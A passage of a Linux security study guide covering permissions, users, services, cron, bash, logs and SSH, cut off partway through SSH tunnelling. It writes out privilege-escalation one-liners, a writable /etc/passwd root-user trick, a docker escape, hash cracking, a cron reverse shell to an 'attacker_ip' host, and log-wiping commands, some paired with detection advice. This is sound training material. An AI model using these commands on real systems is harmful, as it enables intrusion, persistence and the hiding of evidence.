`rwxrwxrwx`	777	Everyone can read, write, execute — dangerous
`rwxr-xr-x`	755	Owner full, group/others read+execute
`rw-r--r--`	644	Owner read+write, group/others read only
`rw-------`	600	Owner read+write only — private files
`rwx------`	700	Owner only, full access
`r-xr-xr-x`	555	Everyone read+execute, no write
`----------`	000	No permissions — even owner cannot access

5.2 chmod — Changing Permissions

# Symbolic mode
chmod u+x script.sh        # Add execute for owner (user)
chmod g-w file.txt         # Remove write from group
chmod o-r file.txt         # Remove read from others
chmod a+r file.txt         # Add read for all (a = all = ugo)
chmod u+x,g+r file.txt     # Multiple changes at once
chmod a-x,u+x file.txt     # Remove execute for all, add for owner

# Octal mode (faster, preferred)
chmod 755 script.sh        # rwxr-xr-x
chmod 644 config.txt       # rw-r--r--
chmod 600 private_key      # rw------- (SSH private keys must be 600)
chmod 700 ~/.ssh           # drwx------ (SSH directory must be 700)
chmod 777 /tmp/shared      # rwxrwxrwx (everyone, use with extreme caution)

# Recursive
chmod -R 755 directory/    # Apply to all files in directory

# Common security configurations:
chmod 600 ~/.ssh/id_rsa           # SSH private key — if not 600, SSH refuses to use it
chmod 644 ~/.ssh/id_rsa.pub       # SSH public key
chmod 700 ~/.ssh                  # SSH directory
chmod 640 /etc/shadow             # Shadow file (root rw, shadow group r)

5.3 chown — Changing Ownership

# Change owner
chown john file.txt              # Change owner to john
chown john:developers file.txt   # Change owner AND group
chown :developers file.txt       # Change only group
chown -R www-data:www-data /var/www/html/  # Recursive — web server files

# Check current ownership
ls -la file.txt
stat file.txt                    # Detailed info including ownership

# chgrp — change group only
chgrp developers file.txt        # Same as chown :developers

5.4 SUID, SGID, Sticky Bit — The Dangerous Trio

Covered in Stage 0.2 theoretically. Here is the practical command reference.

# SUID — Set User ID (runs as file owner, not executor)
chmod u+s script           # Set SUID symbolically
chmod 4755 script          # Set SUID in octal (4 prefix)

ls -la /usr/bin/passwd
# -rwsr-xr-x  root root  ...  /usr/bin/passwd
#    ^-- lowercase 's' = SUID + execute set
#    ^-- uppercase 'S' = SUID set, execute NOT set (unusual, often misconfiguration)

# SGID — Set Group ID
chmod g+s directory        # Set SGID on directory
chmod 2755 file            # Set SGID in octal (2 prefix)

ls -la
# drwxr-sr-x  root developers  ...  shared_dir
#       ^-- 's' in group execute position = SGID

# Sticky Bit
chmod +t /tmp              # Set sticky bit
chmod 1777 /tmp            # Set sticky bit in octal (1 prefix)

ls -la /
# drwxrwxrwt  root root  ...  tmp
#          ^-- 't' = sticky bit + execute  |  'T' = sticky bit, no execute

# Finding exploitable SUID/SGID files — the first check in Linux privilege escalation:
find / -perm -4000 -type f 2>/dev/null          # All SUID files
find / -perm -2000 -type f 2>/dev/null          # All SGID files
find / -perm -4000 -user root -type f 2>/dev/null  # SUID owned by root (highest risk)

# For each SUID binary found, check GTFOBins:
# https://gtfobins.github.io/
# Example: if /usr/bin/vim is SUID root:
# vim -c ':!/bin/sh'  → root shell

5.5 Special Permissions in Practice — Privilege Escalation

This is the payoff for understanding permissions. Misconfigured SUID binaries are among the most common paths to root in CTFs and real-world assessments.

Example attack chain:

# Step 1: Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Output includes: /usr/bin/find

# Step 2: Check GTFOBins for "find"
# GTFOBins says: find . -exec /bin/sh -p \; -quit
# The -p flag preserves effective UID

# Step 3: Execute
/usr/bin/find . -exec /bin/sh -p \; -quit
# Shell opens as root because find is SUID root

whoami
# root

Writable /etc/passwd — Another Classic:

# If /etc/passwd is world-writable (misconfiguration):
ls -la /etc/passwd
# -rw-rw-rw-  root root  ...  /etc/passwd  ← world-writable!

# Generate password hash
openssl passwd -1 -salt xyz newpassword
# Output: $1$xyz$...

# Add root-level user to /etc/passwd
echo 'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd

# Login as the new user — you get UID 0 (root)
su hacker
whoami
# root

6. User Management

6.1 The /etc/passwd File

cat /etc/passwd
# Format: username:password:UID:GID:GECOS:home:shell
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# john:x:1001:1001:John Smith,,,:/home/john:/bin/bash

Field breakdown:

username — login name
password — 'x' means password is in /etc/shadow; blank means no password
UID — User ID. 0 = root, 1-999 = system accounts, 1000+ = regular users
GID — Primary Group ID
GECOS — Comment field (full name, contact info)
home — Home directory path
shell — Login shell (/usr/sbin/nologin or /bin/false prevents interactive login)

Security checks on /etc/passwd:

# Find any user with UID 0 other than root (serious red flag)
awk -F: '($3 == 0) {print}' /etc/passwd

# Find users with no password set (x missing)
awk -F: '($2 == "") {print}' /etc/passwd

# Find users with valid shells (can log in interactively)
grep -v "/nologin\|/false" /etc/passwd | awk -F: '{print $1, $7}'

6.2 The /etc/shadow File

The shadow file stores password hashes and account policy information. It is readable only by root (and the shadow group on some systems).

sudo cat /etc/shadow
# Format: username:hash:lastchange:min:max:warn:inactive:expire
# root:$6$salt$hash:18600:0:99999:7:::
# john:$6$salt$longhashstring:19000:0:99999:7:::
# locked_user:!$6$salt$hash:...  (! prefix = account locked)
# no_password::...               (empty hash = no password needed!)

Hash format identifier:

$1$  = MD5 (weak, crackable in seconds with GPU)
$2a$ = bcrypt (strong, slow)
$5$  = SHA-256 (moderate)
$6$  = SHA-512 (current standard on most Linux systems)
$y$  = yescrypt (modern, very strong)

Cracking /etc/shadow hashes (authorised lab/CTF context):

# Unshadow combines passwd and shadow for John/Hashcat
unshadow /etc/passwd /etc/shadow > combined.txt

# John the Ripper
john combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Hashcat (identify hash type first)
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt  # SHA-512 = mode 1800
hashcat -m 500 combined.txt /usr/share/wordlists/rockyou.txt   # MD5 = mode 500

6.3 User Management Commands

# Add user
sudo useradd -m -s /bin/bash -G sudo username
# -m = create home directory
# -s = specify shell
# -G = additional groups (sudo here gives sudo access)

sudo adduser username      # Interactive, friendlier version

# Set password
sudo passwd username
passwd                     # Change your own password

# Modify user
sudo usermod -aG sudo username    # Add to sudo group (-a = append)
sudo usermod -s /bin/bash username  # Change shell
sudo usermod -L username          # Lock account
sudo usermod -U username          # Unlock account

# Delete user
sudo userdel username             # Keep home directory
sudo userdel -r username          # Remove home directory too

# Switch user
su username                       # Switch to user (needs their password)
su - username                     # Switch with full login environment
sudo su                           # Switch to root (if you have sudo)
sudo -i                           # Root login shell via sudo
sudo -u john command              # Run command as user john

6.4 sudo — The Privilege Management Gateway

sudo (superuser do) allows specific users to run commands with elevated privileges according to rules defined in /etc/sudoers.

# Run command as root
sudo command
sudo apt update

# Run command as specific user
sudo -u www-data ls /var/www

# Edit sudoers safely (ALWAYS use visudo, never edit directly)
sudo visudo

# Check your sudo privileges
sudo -l
# Output shows what you can run as what user
# Example:
# (ALL : ALL) ALL            → can run anything as anyone
# (root) NOPASSWD: /bin/ls  → can run ls as root without password
# (ALL) /usr/bin/python3    → can run python3 as any user

Sudo Privilege Escalation — The CTF Classic:

# You find this in sudo -l:
# (ALL) NOPASSWD: /usr/bin/python3

# Exploit it for root shell:
sudo python3 -c 'import os; os.system("/bin/bash")'
# Result: root shell, no password required

# Or with vim:
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

GTFOBins lists privilege escalation paths for every common binary that might appear in sudo -l. Checking sudo -l is always the second thing you do after landing on a Linux system (first is whoami).

6.5 /etc/group — Group Management

cat /etc/group
# Format: groupname:password:GID:members
# sudo:x:27:john,alice
# docker:x:998:john

# Find what groups current user belongs to
groups
id                    # More detailed: uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)

# Add group
sudo groupadd developers

# Add user to group
sudo usermod -aG developers john
sudo gpasswd -a john developers

# Security: Check users in sudo/admin groups — who has elevated access?
getent group sudo
getent group wheel     # Red Hat/CentOS equivalent of sudo
cat /etc/group | grep -E "sudo|admin|wheel|root"

The docker Group — A Hidden Root Equivalent:

# Being in the docker group is effectively equivalent to root
# Check if you're in docker group:
id | grep docker

# If yes, escape to root:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# This mounts the entire host filesystem inside a container
# and gives you a root shell on the host
# No password required — this is why docker group membership is dangerous

7. Package Management

7.1 APT — Debian/Ubuntu/Kali

APT (Advanced Package Tool) is the package manager for Debian-based distributions. It handles software installation, updates, and removal from configured repositories.

# Repository management
cat /etc/apt/sources.list              # Main repository list
ls /etc/apt/sources.list.d/           # Additional repositories

# Update package index (always run before installing)
sudo apt update

# Upgrade installed packages
sudo apt upgrade                       # Upgrade packages
sudo apt full-upgrade                  # Upgrade including dependency changes
sudo apt dist-upgrade                  # Distribution upgrade

# Install
sudo apt install nmap                  # Install single package
sudo apt install nmap wireshark curl   # Install multiple
sudo apt install -y nmap               # Non-interactive (yes to all)

# Remove
sudo apt remove package_name           # Remove but keep config files
sudo apt purge package_name            # Remove including config files
sudo apt autoremove                    # Remove unused dependencies

# Search
apt search nmap                        # Search by name/description
apt show nmap                          # Detailed package information

# List
dpkg -l                                # List all installed packages
dpkg -l | grep nmap                    # Check if specific package installed
dpkg -L nmap                           # List files installed by package
dpkg -S /usr/bin/nmap                  # Which package owns this file

# Security relevance:
# Check for packages with known vulnerabilities
sudo apt list --upgradable             # Show packages needing updates

Security Note on apt:
Package repositories are cryptographically signed. APT verifies signatures before installing. Adding untrusted repositories (PPAs, third-party repos) is a security risk — malicious packages from untrusted repos can compromise your system or your attack platform.

7.2 YUM / DNF — Red Hat/CentOS/Fedora

# DNF (modern, replaces YUM on Fedora/RHEL 8+)
sudo dnf update                        # Update all packages
sudo dnf install nmap                  # Install
sudo dnf remove nmap                   # Remove
sudo dnf search nmap                   # Search
sudo dnf info nmap                     # Package information
sudo dnf list installed                # List installed packages

# YUM (legacy, still used on CentOS 7 and older RHEL)
sudo yum update
sudo yum install nmap
sudo yum remove nmap
sudo yum search nmap
rpm -qa                                # List all installed RPM packages
rpm -ql nmap                           # List files in package
rpm -qf /usr/bin/nmap                  # Which package owns this file

7.3 Installing Without Package Manager — Common in Pentest

In post-exploitation, you often cannot use apt (no internet access, non-standard system). You need to transfer and install tools manually:

# Compile from source
./configure
make
sudo make install

# Install Go tools
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Install Python tools
pip3 install impacket
pip3 install --break-system-packages tool_name  # On newer systems

# AppImage — self-contained executables
chmod +x tool.AppImage
./tool.AppImage

# Binary transfer without package manager (post-exploitation)
# On attacker:
python3 -m http.server 8080
# On target (no wget? try these):
curl http://attacker/tool -o /tmp/tool
bash -c 'cat < /dev/tcp/attacker_ip/8080'

8. Service Management — systemctl

8.1 systemd and Its Role

systemd is the init system and service manager used by virtually all modern Linux distributions (Ubuntu 15.04+, Debian 8+, CentOS 7+, Kali). It replaced the older SysVinit (/etc/init.d/ scripts) and Upstart systems.

systemctl is the primary command to interact with systemd.

8.2 Core systemctl Commands

# Service status
systemctl status ssh                   # Status of SSH service
systemctl status ssh -l                # Full output, no truncation

# Start, stop, restart
sudo systemctl start ssh
sudo systemctl stop ssh
sudo systemctl restart ssh             # Stop then start
sudo systemctl reload ssh              # Reload config without full restart (when supported)

# Enable/Disable at boot
sudo systemctl enable ssh              # Start automatically at boot
sudo systemctl disable ssh             # Don't start at boot
sudo systemctl enable --now ssh        # Enable AND start immediately

# List services
systemctl list-units --type=service    # All active services
systemctl list-units --type=service --all  # All including inactive
systemctl list-unit-files --type=service  # All with enable/disable status

# Check if enabled
systemctl is-enabled ssh               # enabled / disabled / static
systemctl is-active ssh                # active / inactive
systemctl is-failed ssh                # Reports failed services

# Service logs
journalctl -u ssh                      # Logs for SSH service
journalctl -u ssh -f                   # Follow (live)
journalctl -u ssh --since "1 hour ago"
journalctl -u ssh -n 50                # Last 50 lines

# System-wide operations
sudo systemctl reboot
sudo systemctl poweroff
sudo systemctl halt
sudo systemctl suspend

8.3 Service Files — Understanding the Target

Service files define how services are configured. They live in:

/etc/systemd/system/       — Custom/overriding service files
/usr/lib/systemd/system/   — Package-installed service files

# View a service file
cat /etc/systemd/system/ssh.service
systemctl cat ssh                      # Display the service file

# Example service file structure:
# [Unit]
# Description=OpenBSD Secure Shell server
# After=network.target
#
# [Service]
# Type=notify
# ExecStart=/usr/sbin/sshd -D
# ExecReload=/bin/kill -HUP $MAINPID
# User=root                           ← What user it runs as
# Restart=on-failure
#
# [Install]
# WantedBy=multi-user.target

Security Implication — Service File Modification:
If an attacker can write to a service file or the directory containing it, they can modify ExecStart to execute arbitrary commands. Since services often run as root, this is a direct privilege escalation path:

# Check write permissions on service directories
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/

# If writable, modify a service that runs as root:
# ExecStart=/bin/bash -c 'chmod +s /bin/bash'
# Then restart the service → /bin/bash becomes SUID root
# Then: bash -p → root shell

8.4 Common Services in Security Contexts

# Services you will frequently interact with:
sudo systemctl start/stop/status ssh        # SSH server — remote access
sudo systemctl start/stop/status apache2    # Web server (Debian/Ubuntu)
sudo systemctl start/stop/status nginx      # Web server
sudo systemctl start/stop/status mysql      # MySQL database
sudo systemctl start/stop/status postgresql # PostgreSQL database
sudo systemctl start/stop/status docker     # Docker container engine
sudo systemctl start/stop/status cron       # Cron job scheduler
sudo systemctl start/stop/status rsyslog    # System logging

# In CTFs — start a service for enumeration:
sudo systemctl start ssh
# Now you can SSH into your lab machine from another VM

9. Cron Jobs

9.1 What Is Cron

Cron is the Linux task scheduler. It runs commands at specified times automatically. The cron daemon (crond) checks crontab files every minute and executes scheduled commands.

This is one of the most common persistence mechanisms for attackers and one of the most important privilege escalation vectors when misconfigured.

9.2 Crontab Syntax

* * * * * command_to_run
│ │ │ │ │
│ │ │ │ └── Day of week (0-7, 0=Sunday, 7=Sunday)
│ │ │ └──── Month (1-12)
│ │ └────── Day of month (1-31)
│ └──────── Hour (0-23)
└────────── Minute (0-59)

Special strings:
@reboot    → Run once at startup
@hourly    → Every hour
@daily     → Every day at midnight
@weekly    → Every Sunday midnight
@monthly   → First day of month at midnight

Examples:

# Run script every minute
* * * * * /usr/local/bin/script.sh

# Run at 3:30 AM every day
30 3 * * * /usr/local/bin/backup.sh

# Run every 15 minutes
*/15 * * * * /usr/local/bin/check.sh

# Run Monday to Friday at 9 AM
0 9 * * 1-5 /usr/local/bin/workday_task.sh

# Run at system boot
@reboot /usr/local/bin/startup.sh

# Run every hour
@hourly /usr/local/bin/hourly_task.sh

9.3 Managing Crontabs

# Edit your crontab
crontab -e                             # Opens in your default editor

# View your crontab
crontab -l

# Remove your crontab
crontab -r

# Edit another user's crontab (requires root)
sudo crontab -u john -e

# View root's crontab
sudo crontab -l
sudo crontab -u root -l

9.4 System-Wide Cron Locations

# System-wide crontab (has username field)
cat /etc/crontab

# Cron directories — drop scripts here
ls -la /etc/cron.d/          # Additional system cron jobs
ls -la /etc/cron.daily/      # Run daily
ls -la /etc/cron.hourly/     # Run hourly
ls -la /etc/cron.weekly/     # Run weekly
ls -la /etc/cron.monthly/    # Run monthly

# Individual user crontabs are stored here:
ls -la /var/spool/cron/crontabs/
sudo cat /var/spool/cron/crontabs/root

9.5 Cron as an Attack Surface

Cron-based Privilege Escalation — the Most Common Linux Privesc:

# Step 1: Find cron jobs running as root
cat /etc/crontab
ls -la /etc/cron.*
sudo crontab -l

# Step 2: Check if the script being run is writable
# Found: * * * * * root /usr/local/bin/cleanup.sh

ls -la /usr/local/bin/cleanup.sh
# -rwxrwxrwx root root  cleanup.sh  ← world-writable! attacker can modify it

# Step 3: Modify the script to execute your payload
echo '#!/bin/bash' > /usr/local/bin/cleanup.sh
echo 'chmod +s /bin/bash' >> /usr/local/bin/cleanup.sh
# Wait up to 60 seconds for cron to execute

# Step 4: After cron runs:
ls -la /bin/bash
# -rwsr-sr-x root root  /bin/bash  ← now SUID root

bash -p
whoami
# root

Cron PATH Hijacking:

# If /etc/crontab has:
# PATH=/usr/local/bin:/usr/bin:/bin
# * * * * * root cleanup.sh   ← no absolute path!

# And /usr/local/bin is writable:
echo '#!/bin/bash' > /usr/local/bin/cleanup.sh
echo 'chmod +s /bin/bash' >> /usr/local/bin/cleanup.sh
chmod +x /usr/local/bin/cleanup.sh
# Cron finds your script first in PATH, executes it as root

Cron as Persistence (Attacker Perspective):

# Add a cron job that reconnects to C2 every minute
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'") | crontab -

# At reboot
(crontab -l 2>/dev/null; echo "@reboot /usr/local/bin/.hidden_backdoor") | crontab -

Detection:

# Monitor cron job changes
ls -lat /var/spool/cron/crontabs/    # Check modification times
inotifywait -m /var/spool/cron/crontabs/  # Real-time monitoring

# Check for recently modified cron-related files
find /etc/cron* -newer /etc/passwd 2>/dev/null
find /var/spool/cron -newer /etc/passwd 2>/dev/null

10. Bash Scripting Fundamentals

10.1 Why Scripting Is Non-Negotiable

Manual commands are for exploration. Scripts are for automation, repeatability, and scale. Every security professional needs scripting ability because:

Automating reconnaissance across hundreds of targets
Building custom detection logic
Processing large log files
Chaining tools together into workflows
Writing proof-of-concept exploits

10.2 Script Structure

#!/bin/bash
# Shebang line — tells the OS what interpreter to use
# #!/bin/bash  → bash
# #!/bin/sh    → POSIX shell (more portable)
# #!/usr/bin/env python3  → Python 3

# Script metadata (good practice)
# Author: Your Name
# Date: 2026-01-01
# Purpose: Brief description

# Your code starts here
echo "Script started"

# Make a script executable
chmod +x script.sh

# Run it
./script.sh
bash script.sh        # Alternative, doesn't need execute permission

10.3 Variables

#!/bin/bash

# Variable assignment (no spaces around =)
name="Alice"
age=30
ip_address="192.168.1.100"

# Using variables ($ prefix)
echo "Hello, $name"
echo "Age: $age"
echo "Target: ${ip_address}"    # Curly braces for clarity

# Command substitution — store command output in variable
current_user=$(whoami)
hostname=$(hostname)
ip_list=$(ip addr | grep "inet " | awk '{print $2}')

echo "Running as: $current_user on $hostname"

# Special variables
echo "Script name: $0"
echo "First argument: $1"
echo "Second argument: $2"
echo "All arguments: $@"
echo "Argument count: $#"
echo "Last exit code: $?"       # 0 = success, non-zero = error
echo "Current PID: $$"

# Environment variables (already set by the system)
echo "Home: $HOME"
echo "Path: $PATH"
echo "User: $USER"
echo "Shell: $SHELL"

# Read-only variables
readonly MAX_RETRIES=3

# Unset variable
unset name

10.4 Conditionals

#!/bin/bash

# Basic if/else
if [ condition ]; then
    commands
elif [ other_condition ]; then
    commands
else
    commands
fi

# File tests
if [ -f "/etc/passwd" ]; then
    echo "File exists"
fi

if [ -d "/tmp" ]; then
    echo "Directory exists"
fi

if [ -r "/etc/shadow" ]; then
    echo "Shadow file is readable — you have root!"
fi

# File test operators:
# -f  → file exists and is regular file
# -d  → directory exists
# -e  → file/directory exists
# -r  → readable
# -w  → writable
# -x  → executable
# -s  → file exists and is non-empty
# -L  → symlink

# String comparisons
name="root"
if [ "$name" = "root" ]; then       # = for strings
    echo "Running as root"
fi

if [ "$name" != "nobody" ]; then
    echo "Not running as nobody"
fi

if [ -z "$variable" ]; then         # -z = empty string
    echo "Variable is empty"
fi

if [ -n "$variable" ]; then         # -n = non-empty string
    echo "Variable has content"
fi

# Numeric comparisons (use -eq, -ne, -lt, -gt, -le, -ge)
port=22
if [ "$port" -eq 22 ]; then
    echo "SSH port"
fi

if [ "$port" -lt 1024 ]; then
    echo "Privileged port"
fi

# Combining conditions
if [ -f "/etc/cron.d/job" ] && [ -w "/etc/cron.d/job" ]; then
    echo "Cron job file is writable — potential privesc!"
fi

if [ "$USER" = "root" ] || [ "$USER" = "admin" ]; then
    echo "Elevated user"
fi

# Modern syntax with [[ ]] (bash-specific, more powerful)
if [[ "$string" == *"password"* ]]; then    # Glob matching
    echo "Contains password"
fi

if [[ "$string" =~ ^[0-9]+$ ]]; then       # Regex matching
    echo "String is a number"
fi

10.5 Loops

#!/bin/bash

# For loop over a list
for host in 192.168.1.1 192.168.1.2 192.168.1.3; do
    ping -c 1 -W 1 "$host" &>/dev/null && echo "$host is up" || echo "$host is down"
done

# For loop with range
for i in {1..254}; do
    ping -c 1 -W 1 "192.168.1.$i" &>/dev/null && echo "192.168.1.$i is up" &
done
wait  # Wait for all background pings to complete

# C-style for loop
for ((i=0; i<10; i++)); do
    echo "Iteration $i"
done

# For loop over files
for file in /tmp/*.sh; do
    echo "Found script: $file"
    ls -la "$file"
done

# For loop over command output
for user in $(cut -d: -f1 /etc/passwd); do
    echo "User: $user"
done

# While loop
counter=0
while [ $counter -lt 5 ]; do
    echo "Counter: $counter"
    ((counter++))
done

# Read lines from file
while IFS= read -r line; do
    echo "Line: $line"
done < /etc/hosts

# Read from command output
while IFS= read -r ip; do
    nmap -p 80 "$ip" --open -q
done < ip_list.txt

# Until loop (runs until condition is true)
until [ -f "/tmp/done.flag" ]; do
    sleep 5
    echo "Waiting..."
done

10.6 Functions

#!/bin/bash

# Define a function
check_port() {
    local host="$1"      # local = function-scoped variable
    local port="$2"

    if timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null; then
        echo "[OPEN] $host:$port"
        return 0         # Success
    else
        echo "[CLOSED] $host:$port"
        return 1         # Failure
    fi
}

# Call the function
check_port "192.168.1.1" 22
check_port "192.168.1.1" 80

# Function with return value (via echo, not return)
get_ip() {
    local hostname="$1"
    nslookup "$hostname" | grep "Address:" | tail -1 | awk '{print $2}'
}

ip=$(get_ip "google.com")
echo "Google IP: $ip"

10.7 A Complete Security Script Example

#!/bin/bash
# Linux Local Privilege Escalation Checker — Educational Example
# Run on a target after gaining initial foothold

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'  # No colour

header() {
    echo -e "\n${YELLOW}=== $1 ===${NC}"
}

found() {
    echo -e "${RED}[!] POTENTIAL: $1${NC}"
}

info() {
    echo -e "${GREEN}[*] $1${NC}"
}

header "Current User"
id
whoami

header "Sudo Privileges"
sudo -l 2>/dev/null && found "Check sudo entries against GTFOBins"

header "SUID Binaries"
find / -perm -4000 -type f 2>/dev/null | while read -r binary; do
    echo "$binary"
done

header "Writable Cron Jobs"
for cron_file in /etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/*; do
    if [ -w "$cron_file" ] 2>/dev/null; then
        found "Writable cron file: $cron_file"
    fi
done

header "World-Writable Service Files"
find /etc/systemd/system /usr/lib/systemd/system -writable -type f 2>/dev/null |
    while read -r svc; do
        found "Writable service: $svc"
    done

header "Writable /etc/passwd"
[ -w /etc/passwd ] && found "/etc/passwd is writable!" || info "/etc/passwd not writable"

header "Recently Modified Files in /etc"
find /etc -mtime -1 -type f 2>/dev/null

echo -e "\n${GREEN}[*] Scan complete${NC}"

11. Linux Log System

11.1 The Importance of Logs for Security

Linux logs are the primary evidence trail for security events. Every authentication attempt, every sudo command, every service start and stop, every SSH connection, every kernel error — it is all logged. For defenders, logs are the foundation of detection. For attackers, understanding what gets logged (and how to manipulate it) is essential for operational security.

11.2 Log Locations — The Map

/var/log/
├── auth.log           → Authentication events (Debian/Ubuntu)
│                        SSH logins, sudo usage, user switches, PAM events
├── secure             → Same as auth.log (Red Hat/CentOS)
├── syslog             → General system messages (Debian/Ubuntu)
├── messages           → Same as syslog (Red Hat/CentOS)
├── kern.log           → Kernel messages only
├── dmesg              → Boot-time kernel ring buffer
├── faillog            → Failed login attempts
├── lastlog            → Last login per user
├── wtmp               → All login/logout history (binary)
├── btmp               → Failed login attempts (binary)
├── apt/               → APT package manager logs
├── nginx/             → Nginx web server access and error logs
│   ├── access.log
│   └── error.log
├── apache2/           → Apache web server logs
│   ├── access.log
│   └── error.log
├── mysql/             → MySQL database logs
├── postgresql/        → PostgreSQL logs
└── cron.log           → Cron job execution log (some distros)

11.3 Reading Binary Log Files

Some log files are binary format and require specific commands:

# lastlog — when each user last logged in
lastlog
lastlog -u john                        # Specific user

# last — login history from wtmp
last                                   # All logins
last -n 20                             # Last 20
last john                              # Specific user's logins
last reboot                            # System reboot history
last -F                                # Full timestamps

# lastb — failed login attempts from btmp (requires root)
sudo lastb
sudo lastb -n 20
sudo lastb -a                          # Show IP address in last column

# who — currently logged in users
who
w                                      # More detailed — what they're doing

11.4 Key Security Events in Logs

# Successful SSH logins
grep "Accepted" /var/log/auth.log
# Output: May 29 10:00:01 host sshd[1234]: Accepted publickey for john from 192.168.1.5 port 51234 ssh2

# Failed SSH attempts (brute force indicator)
grep "Failed password" /var/log/auth.log
grep "Invalid user" /var/log/auth.log

# Count failed attempts by IP (detect brute force)
grep "Failed password" /var/log/auth.log |
    grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" |
    sort | uniq -c | sort -rn | head -20

# Sudo usage — who ran what as root
grep "sudo" /var/log/auth.log
# Output: May 29 10:05:00 host sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/cat /etc/shadow

# New user creation
grep "useradd\|adduser\|new user" /var/log/auth.log

# SSH key-based authentication
grep "Accepted publickey" /var/log/auth.log

# PAM authentication failures (non-SSH)
grep "pam_unix.*authentication failure" /var/log/auth.log

11.5 journalctl — The systemd Log Interface

On systems using systemd, journalctl provides a unified interface to the systemd journal:

# View all logs
journalctl

# Most recent entries (follow like tail -f)
journalctl -f

# Last N lines
journalctl -n 50

# Logs since last boot
journalctl -b

# Previous boot logs
journalctl -b -1                       # One boot ago

# Filter by time
journalctl --since "2024-01-01 00:00:00"
journalctl --since "1 hour ago"
journalctl --since yesterday --until today

# Filter by service
journalctl -u ssh
journalctl -u nginx
journalctl -u cron

# Filter by priority
journalctl -p err                      # Errors only
journalctl -p 0..3                     # Emergency through Error

# Filter by executable
journalctl /usr/sbin/sshd

# Kernel messages only
journalctl -k

# Output formats
journalctl -o json-pretty              # JSON format
journalctl -o short-iso                # ISO timestamps

11.6 Log Manipulation — Attack and Detection

Attackers clearing logs to cover tracks:

# Clear auth.log (requires root)
> /var/log/auth.log                    # Truncate to zero bytes
echo "" > /var/log/auth.log
cat /dev/null > /var/log/auth.log

# Clear specific entries (more stealthy)
sed -i '/10\.10\.14\.5/d' /var/log/auth.log  # Remove lines with attacker's IP

# Clear bash history for current session
history -c                             # Clear in-memory history
unset HISTFILE                         # Don't write to disk
export HISTSIZE=0
cat /dev/null > ~/.bash_history

# Clear lastlog for specific user
lastlog -u john -t 0                   # Not standard but some implementations allow it
# More commonly: replace wtmp/btmp with modified versions using utmpdump

Detection of log tampering:

# File size of 0 on log files is suspicious
ls -lh /var/log/auth.log
# -rw-r--r-- 1 root adm 0 May 29 10:00 auth.log  ← zero bytes, suspicious

# Check inode timestamps
stat /var/log/auth.log
# If mtime (content modified) and ctime (inode changed) are very recent and simultaneous,
# someone cleared it

# Auditd can detect log file modifications
# (covered in hardening stage)

# Remote logging prevents local tampering
# rsyslog to a remote syslog server means clearing local logs doesn't help
# This is why remote log aggregation (SIEM) is essential

12. SSH — Secure Shell

12.1 What SSH Is and Why It Matters Everywhere

SSH (Secure Shell) is the standard protocol for secure remote access to Linux and Unix systems. Every server you will ever administrate, every CTF machine you will ever target, every cloud instance you will ever access — SSH is how you get in.

SSH provides:

Encrypted communication channel — all data including passwords is encrypted
Authentication — password or (preferably) public key
Remote command execution
Port forwarding and tunnelling — one of the most powerful features for security work

12.2 SSH Client — Connecting

# Basic connection
ssh user@hostname
ssh john@192.168.1.100
ssh john@192.168.1.100 -p 2222           # Non-standard port

# Run command without interactive shell
ssh john@192.168.1.100 "id && whoami"
ssh john@192.168.1.100 "cat /etc/passwd"

# Verbose mode — useful for debugging authentication
ssh -v john@192.168.1.100               # Verbose
ssh -vvv john@192.168.1.100             # Maximum verbosity

# No host key checking (dangerous for production, common in lab/CTF)
ssh -o StrictHostKeyChecking=no john@192.168.1.100

# Config file — manage multiple hosts
cat ~/.ssh/config
# Host ctf-machine
#     HostName 10.10.10.100
#     User john
#     Port 22
#     IdentityFile ~/.ssh/ctf_key

ssh ctf-machine                         # Uses config automatically

12.3 Key-Based Authentication — The Right Way

Password-based SSH is vulnerable to brute force. Key-based authentication is the standard for any serious environment.

# Generate SSH key pair
ssh-keygen -t ed25519 -C "your_email@example.com"
# -t ed25519  → EdDSA, modern, preferred (shorter than RSA, equally secure)
# -t rsa -b 4096  → RSA 4096-bit (legacy compatibility)

# Location:
# Private key: ~/.ssh/id_ed25519  (NEVER share this)
# Public key:  ~/.ssh/id_ed25519.pub  (safe to share)

# Copy public key to remote server
ssh-copy-id -i ~/.ssh/id_ed25519.pub john@192.168.1.100
# This appends your public key to ~/.ssh/authorized_keys on the remote server

# Manual method
cat ~/.ssh/id_ed25519.pub | ssh john@192.168.1.100 "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"

# Correct permissions (SSH refuses to work if wrong)
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_ed25519              # Private key
chmod 644 ~/.ssh/id_ed25519.pub          # Public key
chmod 600 ~/.ssh/authorized_keys

12.4 SSH Tunnelling — The Security Professional's Swiss Army Knife

SSH tunnelling is one of the most powerful techniques in both offensive and defensive security work. It allows you to route traffic through SSH connections.

Local Port Forwarding

Forwards a port on your local machine through the SSH connection to a destination.

ssh -L [local_port]:[remote_host]:[remote_port] user@ssh_server

# Example: Access a web server that is only accessible from the target machine
# Target has a web server on localhost:8080 not exposed to the network
ssh -L 9090:localhost:8080 john@192.168.1.100
# Now: http://localhost:9090 on your machine → port 8080 on the target

# Example: Access an internal database through a jump host
ssh -L 5432:internal-db-server:5432 john@jump-host
# Connect to localhost:5432 → routes to internal-db-server:5432 via jump host

Remote Port Forwarding (Reverse Tunnelling)

Forwards a port on the remote server back to your local machine. Used to receive connections from a restricted network.

